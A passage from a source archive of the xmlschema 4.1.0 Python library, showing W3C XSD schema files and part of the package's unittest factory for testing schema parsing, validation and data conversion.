</xs:element> <xs:element name="minLength" type="xs:numFacet" id="minLength" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minLength"/> </xs:annotation> </xs:element> <xs:element name="maxLength" type="xs:numFacet" id="maxLength" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxLength"/> </xs:annotation> </xs:element> <xs:element name="enumeration" type="xs:noFixedFacet" id="enumeration" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-enumeration"/> </xs:annotation> </xs:element> <xs:element name="whiteSpace" id="whiteSpace" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-whiteSpace"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" use="required"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="preserve"/> <xs:enumeration value="replace"/> <xs:enumeration value="collapse"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="pattern" id="pattern" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-pattern"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:noFixedFacet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:string" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="assertion" type="xs:assertion" id="assertion" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-assertion"/> </xs:annotation> </xs:element> <xs:element name="explicitTimezone" id="explicitTimezone" substitutionGroup="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-explicitTimezone"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" use="required"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="optional"/> <xs:enumeration value="required"/> <xs:enumeration value="prohibited"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> In keeping with the XML Schema WG's standard versioning policy, this schema document will persist at the URI http://www.w3.org/2012/04/datatypes.xsd. At the date of issue it can also be found at the URI http://www.w3.org/2009/XMLSchema/datatypes.xsd. The schema document at that URI may however change in the future, in order to remain compatible with the latest version of XSD and its namespace. In other words, if XSD or the XML Schema namespace change, the version of this document at http://www.w3.org/2009/XMLSchema/datatypes.xsd will change accordingly; the version at http://www.w3.org/2012/04/datatypes.xsd will not change. Previous dated (and unchanging) versions of this schema document include: http://www.w3.org/2012/01/datatypes.xsd (XSD 1.1 Proposed Recommendation) http://www.w3.org/2011/07/datatypes.xsd (XSD 1.1 Candidate Recommendation) http://www.w3.org/2009/04/datatypes.xsd (XSD 1.1 Candidate Recommendation) http://www.w3.org/2004/10/datatypes.xsd (XSD 1.0 Recommendation, Second Edition) http://www.w3.org/2001/05/datatypes.xsd (XSD 1.0 Recommendation, First Edition) </xs:documentation> </xs:annotation> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XSD_1.1/xsd11-extra.xsd�������������������������������������������0000664�0000000�0000000�00000007267�15020401055�0022723�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Chameleon schema for defining XSD 1.1 list type builtins and to override openContent/defaultOpenContent declarations for the xmlschema library. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xs:override schemaLocation="XMLSchema.xsd"> <xs:element name="openContent" id="openContent"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-openContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="any" minOccurs="0"> <!-- Add notQName attribute in xs:any particles --> <xs:complexType> <xs:complexContent> <xs:extension base="xs:wildcard"> <xs:attribute name="notQName" type="xs:qnameList" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="mode" default="interleave" use="optional"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="none"/> <xs:enumeration value="interleave"/> <xs:enumeration value="suffix"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="defaultOpenContent" id="defaultOpenContent"> <xs:annotation> <xs:documentation source="../structures/structures.html#element-defaultOpenContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="any"> <!-- Add notQName attribute in xs:any particles --> <xs:complexType> <xs:complexContent> <xs:extension base="xs:wildcard"> <xs:attribute name="notQName" type="xs:qnameList" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="appliesToEmpty" type="xs:boolean" default="false" use="optional"/> <xs:attribute name="mode" default="interleave" use="optional"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="interleave"/> <xs:enumeration value="suffix"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:override> <xs:simpleType name="IDREFS" id="IDREFS"> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:IDREF"/> </xs:simpleType> <xs:minLength value="1" id="IDREFS.minLength"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="ENTITIES" id="ENTITIES"> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:ENTITY"/> </xs:simpleType> <xs:minLength value="1" id="ENTITIES.minLength"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="NMTOKENS" id="NMTOKENS"> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:NMTOKEN"/> </xs:simpleType> <xs:minLength value="1" id="NMTOKENS.minLength"/> </xs:restriction> </xs:simpleType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XSI/��������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017534�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XSI/XMLSchema-instance.xsd����������������������������������������0000664�0000000�0000000�00000002277�15020401055�0023647�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0'?> <!DOCTYPE xs:schema SYSTEM "XMLSchema.dtd" [ <!ELEMENT p ANY> <!ELEMENT a ANY> <!ATTLIST a href CDATA #IMPLIED> <!ELEMENT hr ANY> <!ELEMENT h1 ANY> <!ELEMENT br ANY> ]> <xs:schema targetNamespace="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://www.w3.org/1999/xhtml"> <xs:annotation> <xs:documentation> <h1>XML Schema instance namespace</h1> <p>See <a href="http://www.w3.org/TR/xmlschema-1/">the XML Schema Recommendation</a> for an introduction</p> <hr /> $Date: 2001/03/16 20:25:57 $<br /> $Id: XMLSchema-instance.xsd,v 1.4 2001/03/16 20:25:57 ht Exp $ </xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation><p>This schema should never be used as such: <a href="http://www.w3.org/TR/xmlschema-1/#no-xsi">the XML Schema Recommendation</a> forbids the declaration of attributes in this namespace</p> </xs:documentation> </xs:annotation> <xs:attribute name="nil"/> <xs:attribute name="type"/> <xs:attribute name="schemaLocation"/> <xs:attribute name="noNamespaceSchemaLocation"/> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/testing/������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017123�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/testing/__init__.py�������������������������������������������������������0000664�0000000�0000000�00000004265�15020401055�0021243�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # mypy: ignore-errors """ Subpackage with unittest extensions for xmlschema. Includes common classes and helpers for building test scripts for xmlschema. The main part is a test factory for creating test cases from lists of paths to XSD or XML files. The list of cases can be defined within files named "testfiles". These are text files that contain a list of relative paths to XSD or XML files, that are used to dinamically build a set of test classes. Each path is followed by a list of options that defines a custom setting for each test. """ from urllib.request import urlopen from urllib.error import URLError from ._helpers import iter_nested_items, etree_elements_assert_equal from ._test_case_classes import XMLSchemaTestCase, XsdValidatorTestCase from ._builders import make_schema_test_class, make_validation_test_class from ._factory import get_test_args, xsd_version_number, defuse_data, \ get_test_program_args_parser, parse_xmlschema_args, run_xmlschema_tests, \ get_test_line_args_parser, xmlschema_tests_factory from ._observers import SchemaObserver, ObservedXMLSchema10, ObservedXMLSchema11 def has_network_access(*locations): for url in locations: try: urlopen(url, timeout=10) except (URLError, OSError): pass else: return True return False SKIP_REMOTE_TESTS = not has_network_access('https://github.com/') __all__ = [ 'XsdValidatorTestCase', 'make_schema_test_class', 'make_validation_test_class', 'get_test_args', 'xsd_version_number', 'defuse_data', 'get_test_program_args_parser', 'parse_xmlschema_args', 'run_xmlschema_tests', 'get_test_line_args_parser', 'xmlschema_tests_factory', 'SchemaObserver', 'ObservedXMLSchema10', 'ObservedXMLSchema11', 'has_network_access', 'iter_nested_items', 'etree_elements_assert_equal', 'SKIP_REMOTE_TESTS', 'XMLSchemaTestCase' ] �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/testing/_builders.py������������������������������������������������������0000664�0000000�0000000�00000100243�15020401055�0021445�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # mypy: ignore-errors import pdb import os import ast import pickle import re import time import logging import tempfile import warnings from importlib import util as importlib_util from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None lxml_etree_element = None else: lxml_etree_element = lxml_etree.Element import xmlschema from xmlschema import XMLSchemaBase, XMLSchema11, XMLSchemaValidationError, \ XMLSchemaParseError, UnorderedConverter, ParkerConverter, BadgerFishConverter, \ AbderaConverter, JsonMLConverter, ColumnarConverter, GDataConverter from xmlschema.names import XSD_IMPORT from xmlschema.utils.qnames import local_name from xmlschema.utils.etree import etree_tostring from xmlschema.resources import fetch_namespaces from xmlschema.validators import XsdType, Xsd11ComplexType from xmlschema.dataobjects import DataElementConverter, DataBindingConverter, DataElement from xmlschema.loaders import LocationSchemaLoader, SafeSchemaLoader try: from xmlschema.extras.codegen import PythonGenerator except ImportError: PythonGenerator = None from ._helpers import iter_nested_items, etree_elements_assert_equal from ._test_case_classes import XsdValidatorTestCase from ._observers import SchemaObserver OBJ_ID_PATTERN = re.compile(r" at 0x[0-9a-fA-F]+") def make_schema_test_class(test_file, test_args, test_num, schema_class, check_with_lxml): """ Creates a schema test class. :param test_file: the schema test file path. :param test_args: line arguments for test case. :param test_num: a positive integer number associated with the test case. :param schema_class: the schema class to use. :param check_with_lxml: if `True` compare with lxml XMLSchema class, reporting anomalies. \ Works only for XSD 1.0 tests. """ xsd_file = os.path.relpath(test_file) # Extract schema test arguments expected_errors = test_args.errors expected_warnings = test_args.warnings inspect = test_args.inspect locations = test_args.locations defuse = test_args.defuse no_pickle = test_args.no_pickle skip_location_loader = test_args.skip_location_loader debug_mode = test_args.debug codegen = test_args.codegen loglevel = logging.DEBUG if debug_mode else None class TestSchema(XsdValidatorTestCase): @classmethod def setUpClass(cls): cls.schema_class = schema_class cls.errors = [] cls.longMessage = True if debug_mode: print("\n##\n## Testing %r schema in debug mode.\n##" % xsd_file) pdb.set_trace() def check_xsd_file(self): if expected_errors > 0: schema = schema_class(xsd_file, validation='lax', locations=locations, defuse=defuse, loglevel=loglevel) else: schema = schema_class(xsd_file, locations=locations, defuse=defuse, loglevel=loglevel) self.errors.extend(schema.maps.all_errors) if inspect: components_ids = {id(c) for c in schema.maps.iter_components()} components_ids.update(id(c) for c in schema.meta_schema.iter_components()) missing = [ c for c in SchemaObserver.components if id(c) not in components_ids ] if missing: raise ValueError("schema missing %d components: %r" % (len(missing), missing)) # Pickling test (skip inspected schema classes test) if not inspect and not no_pickle: obj = pickle.dumps(schema) deserialized_schema = pickle.loads(obj) self.assertTrue(isinstance(deserialized_schema, XMLSchemaBase), msg=xsd_file) self.assertEqual(schema.built, deserialized_schema.built, msg=xsd_file) # XPath node tree tests if not inspect and not self.errors: xpath_root = schema.xpath_node element_nodes = [x for x in xpath_root.iter() if hasattr(x, 'elem')] descendants = [x for x in xpath_root.iter_descendants('descendant-or-self')] self.assertTrue(x in descendants for x in element_nodes) context_xsd_elements = [e.value for e in element_nodes] for xsd_element in schema.iter(): # Context elements can include elements of other schemas (by element ref) self.assertIn(xsd_element, context_xsd_elements, msg=xsd_file) # Checks on XSD types for xsd_type in schema.maps.iter_components(xsd_classes=XsdType): self.assertIn( xsd_type.content_type_label, {'empty', 'simple', 'element-only', 'mixed'}, msg=xsd_file ) # Check that the schema is valid also with XSD 1.1 validator if not expected_errors and schema_class.XSD_VERSION == '1.0': try: XMLSchema11(xsd_file, locations=locations, defuse=defuse, loglevel=loglevel) except XMLSchemaParseError as err: if not isinstance(err.validator, Xsd11ComplexType) or \ "is simple or has a simple content" not in str(err): raise # Not a case of forbidden complex content extension schema = schema_class(xsd_file, validation='lax', locations=locations, defuse=defuse, loglevel=loglevel) for error in schema.all_errors: if not isinstance(err.validator, Xsd11ComplexType) or \ "is simple or has a simple content" not in str(err): raise error # Test alternative schema loaders if not expected_errors and not skip_location_loader: other = schema_class( xsd_file, loader_class=SafeSchemaLoader, locations=locations, defuse=defuse, loglevel=loglevel ) urls = set(s.url for s in schema.maps.schemas) other_urls = set(s.url for s in other.maps.schemas) self.assertTrue(urls.issubset(other_urls), msg=xsd_file) if not skip_location_loader: other = schema_class( xsd_file, loader_class=LocationSchemaLoader, locations=locations, defuse=defuse, loglevel=loglevel ) urls = set(s.url for s in schema.maps.schemas) other_urls = set(s.url for s in other.maps.schemas) self.assertTrue(urls.issubset(other_urls), msg=xsd_file) # Check XML bindings module only for schemas that do not have errors if codegen and PythonGenerator is not None and not self.errors and \ all('schemaLocation' in e.attrib for e in schema.root if e.tag == XSD_IMPORT): generator = PythonGenerator(schema) with tempfile.TemporaryDirectory() as tempdir: cwd = os.getcwd() try: schema.export(tempdir, save_remote=True) os.chdir(tempdir) generator.render_to_files('bindings.py.jinja') spec = importlib_util.spec_from_file_location(tempdir, 'bindings.py') module = importlib_util.module_from_spec(spec) spec.loader.exec_module(module) finally: os.chdir(cwd) def check_xsd_file_with_lxml(self, xmlschema_time): start_time = time.time() lxs = lxml_etree.parse(xsd_file) try: lxml_etree.XMLSchema(lxs.getroot()) except lxml_etree.XMLSchemaParseError as err: if not self.errors: print("\nSchema error with lxml.etree.XMLSchema for file {!r} ({}): {}".format( xsd_file, self.__class__.__name__, str(err) )) else: if self.errors: msg = "\nUnrecognized errors with lxml.etree.XMLSchema for file {!r} ({}): {}" print(msg.format( xsd_file, self.__class__.__name__, '\n++++++\n'.join([str(e) for e in self.errors]) )) lxml_schema_time = time.time() - start_time if lxml_schema_time >= xmlschema_time: msg = "\nSlower lxml.etree.XMLSchema ({:.3f}s VS {:.3f}s) with file {!r} ({})" print(msg.format( lxml_schema_time, xmlschema_time, xsd_file, self.__class__.__name__ )) def test_xsd_file(self): if inspect: SchemaObserver.clear() del self.errors[:] start_time = time.time() if expected_warnings > 0: with warnings.catch_warnings(record=True) as include_import_warnings: warnings.simplefilter("always") self.check_xsd_file() self.assertEqual(len(include_import_warnings), expected_warnings, msg=xsd_file) else: self.check_xsd_file() # Check with lxml.etree.XMLSchema class if check_with_lxml and lxml_etree is not None: self.check_xsd_file_with_lxml(xmlschema_time=time.time() - start_time) self.check_errors(xsd_file, expected_errors) TestSchema.__name__ = TestSchema.__qualname__ = str(f'TestSchema{test_num:03}') return TestSchema def make_validation_test_class(test_file, test_args, test_num, schema_class, check_with_lxml): """ Creates a test class for checking xml instance validation. :param test_file: the XML test file path. :param test_args: line arguments for test case. :param test_num: a positive integer number associated with the test case. :param schema_class: the schema class to use. :param check_with_lxml: if `True` compare with lxml XMLSchema class, reporting anomalies. \ Works only for XSD 1.0 tests. """ xml_file = os.path.relpath(test_file) msg_tmpl = '%s: {0}:\n\n{1}' % xml_file # Extract schema test arguments expected_errors = test_args.errors expected_warnings = test_args.warnings inspect = test_args.inspect locations = test_args.locations defuse = test_args.defuse validation_only = test_args.validation_only no_pickle = test_args.no_pickle lax_encode = test_args.lax_encode debug_mode = test_args.debug codegen = test_args.codegen class TestValidator(XsdValidatorTestCase): @classmethod def setUpClass(cls): # Builds schema instance using 'lax' validation mode # to accepts also schemas with not crashing errors. cls.schema_class = schema_class source, _locations = xmlschema.fetch_schema_locations(xml_file, locations) cls.schema = schema_class(source, validation='lax', locations=_locations, defuse=defuse) if check_with_lxml and lxml_etree is not None: cls.lxml_schema = lxml_etree.parse(source) cls.errors = [] cls.chunks = [] cls.longMessage = True if debug_mode: print("\n##\n## Testing %r validation in debug mode.\n##" % xml_file) pdb.set_trace() def check_decode_encode(self, root, converter=None, **kwargs): lossy = converter in (ParkerConverter, AbderaConverter, ColumnarConverter) losslessly = converter is JsonMLConverter unordered = converter not in (AbderaConverter, JsonMLConverter) or \ kwargs.get('unordered', False) if self.schema.validity != 'valid' and 'validation' not in kwargs: kwargs['validation'] = 'lax' decoded_data1 = self.schema.decode(root, converter=converter, **kwargs) if isinstance(decoded_data1, tuple): decoded_data1 = decoded_data1[0] # When validation='lax' for _ in iter_nested_items(decoded_data1): pass try: elem1 = self.schema.encode( decoded_data1, path=root.tag, converter=converter, **kwargs ) except XMLSchemaValidationError as err: raise AssertionError(msg_tmpl.format("error during re-encoding", str(err))) if isinstance(elem1, tuple): # When validation='lax' if converter is not ParkerConverter and converter is not ColumnarConverter: for e in elem1[1]: self.check_namespace_prefixes(str(e)) elem1 = elem1[0] # Checks if the encoded element is of the same type of the root element self.assertFalse(hasattr(root, 'nsmap') ^ hasattr(elem1, 'nsmap')) # Checks the encoded element to not contains reserved namespace prefixes if 'namespaces' in kwargs: self.check_namespace_prefixes( etree_tostring(elem1, namespaces=kwargs['namespaces']) ) # Main check: compare original a re-encoded tree try: etree_elements_assert_equal(root, elem1, strict=False, unordered=unordered) except AssertionError as err: # If the check fails retry only if the converter is lossy (e.g. ParkerConverter) # or if the XML case has defaults taken from the schema or some part of data # decoding is skipped by schema wildcards (set the specific argument in testfiles). if lax_encode: # can't ensure encode equivalence on this case, # for example if the test case use defaults. pass elif lossy or unordered: # can't check encode equivalence if the converter # is lossy or if it is not fully ordered. pass elif losslessly: if debug_mode: pdb.set_trace() raise AssertionError( msg_tmpl.format("encoded tree differs from original", str(err)) ) else: # Lossy or augmenting cases are checked with another decoding/encoding pass decoded_data2 = self.schema.decode(elem1, converter=converter, **kwargs) if isinstance(decoded_data2, tuple): decoded_data2 = decoded_data2[0] try: self.assertEqual(decoded_data1, decoded_data2, msg=xml_file) except AssertionError: if debug_mode: pdb.set_trace() raise elem2 = self.schema.encode( decoded_data2, path=root.tag, converter=converter, **kwargs ) if isinstance(elem2, tuple): elem2 = elem2[0] try: etree_elements_assert_equal( elem1, elem2, strict=False, unordered=unordered ) except AssertionError as err: if debug_mode: pdb.set_trace() raise AssertionError( msg_tmpl.format("encoded tree differs after second pass", str(err)) ) def check_json_serialization(self, root, converter=None, **kwargs): lossy = converter in (ParkerConverter, AbderaConverter, ColumnarConverter) unordered = converter not in (AbderaConverter, JsonMLConverter) or \ kwargs.get('unordered', False) if self.schema.validity != 'valid' and 'validation' not in kwargs: kwargs['validation'] = 'lax' # Use str instead of float in order to preserve original data kwargs['decimal_type'] = str json_data1 = xmlschema.to_json(root, schema=self.schema, converter=converter, **kwargs) if isinstance(json_data1, tuple): json_data1 = json_data1[0] elem1 = xmlschema.from_json( json_data1, schema=self.schema, path=root.tag, converter=converter, **kwargs ) if isinstance(elem1, tuple): elem1 = elem1[0] if lax_encode: kwargs['validation'] = kwargs.get('validation', 'lax') json_data2 = xmlschema.to_json( elem1, schema=self.schema, converter=converter, **kwargs ) if isinstance(json_data2, tuple): json_data2 = json_data2[0] if json_data2 != json_data1 and (lax_encode or lossy or unordered): # Can't ensure decode equivalence if the test case use defaults, # white spaces are replaced/collapsed or the converter is lossy # or the decoding is unordered. return self.assertEqual(json_data2, json_data1, msg=xml_file) def check_decoding_with_element_tree(self): del self.errors[:] del self.chunks[:] def do_decoding(): for obj in self.schema.iter_decode(xml_file): if isinstance(obj, (xmlschema.XMLSchemaDecodeError, xmlschema.XMLSchemaValidationError)): self.errors.append(obj) else: self.chunks.append(obj) if expected_warnings == 0: do_decoding() else: with warnings.catch_warnings(record=True) as include_import_warnings: warnings.simplefilter("always") do_decoding() self.assertEqual(len(include_import_warnings), expected_warnings, msg=xml_file) self.check_errors(xml_file, expected_errors) if not self.chunks: raise ValueError("No decoded object returned!!") elif len(self.chunks) > 1: raise ValueError("Too many ({}) decoded objects returned: {}".format( len(self.chunks), self.chunks) ) elif not self.errors: try: skip_decoded_data = self.schema.decode(xml_file, validation='skip') self.assertEqual(skip_decoded_data, self.chunks[0], msg=xml_file) except AssertionError: if not lax_encode: raise def check_schema_serialization(self): # Repeat with serialized-deserialized schema (only for Python 3) serialized_schema = pickle.dumps(self.schema) deserialized_schema = pickle.loads(serialized_schema) deserialized_errors = [] deserialized_chunks = [] for obj in deserialized_schema.iter_decode(xml_file): if isinstance(obj, xmlschema.XMLSchemaValidationError): deserialized_errors.append(obj) else: deserialized_chunks.append(obj) self.assertEqual(len(deserialized_errors), len(self.errors), msg=xml_file) self.assertEqual(deserialized_chunks, self.chunks, msg=xml_file) def check_decode_api(self): # Compare with the decode API and other validation modes strict_decoded_data = self.schema.decode(xml_file) lax_decoded_data = self.schema.decode(xml_file, validation='lax') skip_decoded_data = self.schema.decode(xml_file, validation='skip') self.assertEqual(strict_decoded_data, self.chunks[0], msg=xml_file) self.assertEqual(lax_decoded_data[0], self.chunks[0], msg=xml_file) self.assertEqual(skip_decoded_data, self.chunks[0], msg=xml_file) def check_data_conversion_with_element_tree(self): root = ElementTree.parse(xml_file).getroot() namespaces = fetch_namespaces(xml_file) # need a collapsed nsmap options = {'namespaces': namespaces, 'xmlns_processing': 'none'} self.check_decode_encode(root, cdata_prefix='#', **options) # Default converter self.check_decode_encode(root, UnorderedConverter, cdata_prefix='#', **options) self.check_decode_encode(root, ParkerConverter, validation='lax', **options) self.check_decode_encode(root, ParkerConverter, validation='skip', **options) self.check_decode_encode(root, BadgerFishConverter, **options) self.check_decode_encode(root, GDataConverter, **options) self.check_decode_encode(root, AbderaConverter, **options) self.check_decode_encode(root, JsonMLConverter, **options) self.check_decode_encode(root, ColumnarConverter, validation='lax', **options) self.check_decode_encode(root, DataElementConverter, **options) self.check_decode_encode(root, DataBindingConverter, **options) self.schema.maps.clear_bindings() self.check_json_serialization(root, cdata_prefix='#', **options) self.check_json_serialization(root, UnorderedConverter, **options) self.check_json_serialization(root, ParkerConverter, validation='lax', **options) self.check_json_serialization(root, ParkerConverter, validation='skip', **options) self.check_json_serialization(root, BadgerFishConverter, **options) self.check_json_serialization(root, GDataConverter, **options) self.check_json_serialization(root, AbderaConverter, **options) self.check_json_serialization(root, JsonMLConverter, **options) self.check_json_serialization(root, ColumnarConverter, validation='lax', **options) self.check_decode_to_objects(root) self.check_decode_to_objects(root, with_bindings=True) self.schema.maps.clear_bindings() def check_decode_to_objects(self, root, with_bindings=False): validation = 'lax' if self.schema.validity != 'valid' else 'strict' data_element = self.schema.to_objects(xml_file, with_bindings, validation=validation) if validation == 'lax': self.assertIsInstance(data_element, tuple) data_element = data_element[0] self.assertIsInstance(data_element, DataElement) self.assertEqual(data_element.tag, root.tag) if not with_bindings: self.assertIs(data_element.__class__, DataElement) else: self.assertEqual(data_element.tag, root.tag) self.assertTrue(data_element.__class__.__name__.endswith('Binding')) def check_data_conversion_with_lxml(self): xml_tree = lxml_etree.parse(xml_file) lxml_errors = [] lxml_decoded_chunks = [] for obj in self.schema.iter_decode(xml_tree): if isinstance(obj, xmlschema.XMLSchemaValidationError): lxml_errors.append(obj) else: lxml_decoded_chunks.append(obj) self.assertEqual(lxml_decoded_chunks, self.chunks, msg=xml_file) self.assertEqual(len(lxml_errors), len(self.errors), msg=xml_file) if not lxml_errors: root = xml_tree.getroot() options = { 'etree_element_class': lxml_etree_element, } self.check_decode_encode(root, cdata_prefix='#', **options) # Default converter self.check_decode_encode(root, UnorderedConverter, cdata_prefix='#', **options) self.check_decode_encode(root, BadgerFishConverter, **options) self.check_decode_encode(root, GDataConverter, **options) self.check_decode_encode(root, JsonMLConverter, **options) # Tests with converters that loss namespace information and JSON # serialization: need to provide a full namespace map and don't # update that map. namespaces = fetch_namespaces(xml_file, root_only=False) if namespaces.get(''): # Add a not empty prefix for encoding to avoid the use of reserved prefix ns0 namespaces['tns0'] = namespaces[''] options = { 'etree_element_class': lxml_etree_element, 'namespaces': namespaces, 'xmlns_processing': 'none' } self.check_decode_encode(root, ParkerConverter, validation='lax', **options) self.check_decode_encode(root, ParkerConverter, validation='skip', **options) self.check_decode_encode(root, AbderaConverter, **options) self.check_json_serialization(root, cdata_prefix='#', **options) self.check_json_serialization(root, UnorderedConverter, **options) self.check_json_serialization(root, ParkerConverter, validation='lax', **options) self.check_json_serialization(root, ParkerConverter, validation='skip', **options) self.check_json_serialization(root, BadgerFishConverter, **options) self.check_json_serialization(root, GDataConverter, **options) self.check_json_serialization(root, AbderaConverter, **options) self.check_json_serialization(root, JsonMLConverter, **options) def check_with_lxml_iterparse(self): iterparse = lxml_etree.iterparse lxml_errors = [] lxml_decoded_chunks = [] for obj in self.schema.iter_decode(xml_file, iterparse=iterparse): if isinstance(obj, xmlschema.XMLSchemaValidationError): lxml_errors.append(obj) else: lxml_decoded_chunks.append(obj) self.assertEqual(lxml_decoded_chunks, self.chunks, msg=xml_file) self.assertEqual(len(lxml_errors), len(self.errors), msg=xml_file) if not lxml_errors: self.assertTrue(self.schema.is_valid(xml_file), msg=xml_file) else: self.assertFalse(self.schema.is_valid(xml_file), msg=xml_file) def check_validate_and_is_valid_api(self): if expected_errors: self.assertFalse(self.schema.is_valid(xml_file), msg=xml_file) with self.assertRaises(XMLSchemaValidationError, msg=xml_file): self.schema.validate(xml_file) else: self.assertTrue(self.schema.is_valid(xml_file), msg=xml_file) self.assertIsNone(self.schema.validate(xml_file), msg=xml_file) def check_iter_errors(self): def compare_error_reasons(reason, other_reason): if ' at 0x' in reason: self.assertEqual( OBJ_ID_PATTERN.sub(' at 0xff', reason), OBJ_ID_PATTERN.sub(' at 0xff', other_reason), msg=xml_file ) else: self.assertEqual(reason, other_reason, msg=xml_file) errors = list(self.schema.iter_errors(xml_file)) for e in errors: self.assertIsInstance(e.reason, str, msg=xml_file) self.assertEqual(len(errors), expected_errors, msg=xml_file) module_api_errors = list(xmlschema.iter_errors(xml_file, schema=self.schema)) for e, api_error in zip(errors, module_api_errors): compare_error_reasons(e.reason, api_error.reason) self.assertEqual(len(errors), len(module_api_errors), msg=xml_file) lazy_errors = list(xmlschema.iter_errors(xml_file, schema=self.schema, lazy=True)) for e, lazy_error in zip(errors, lazy_errors): compare_error_reasons(e.reason, lazy_error.reason) self.assertEqual(len(errors), len(lazy_errors), msg=xml_file) # TODO: Test also lazy validation with lazy=2. # This needs two fixes in XPath: # 1) find has to retrieve also element substitutes # 2) multiple XSD type match on tokens that have wildcard parent (eg. /root/*/name) def check_lxml_validation(self): try: schema = lxml_etree.XMLSchema(self.lxml_schema.getroot()) except lxml_etree.XMLSchemaParseError: print("\nSkip lxml.etree.XMLSchema validation test for {!r} ({})". format(xml_file, TestValidator.__name__, )) else: xml_tree = lxml_etree.parse(xml_file) if self.errors: self.assertFalse(schema.validate(xml_tree), msg=xml_file) else: 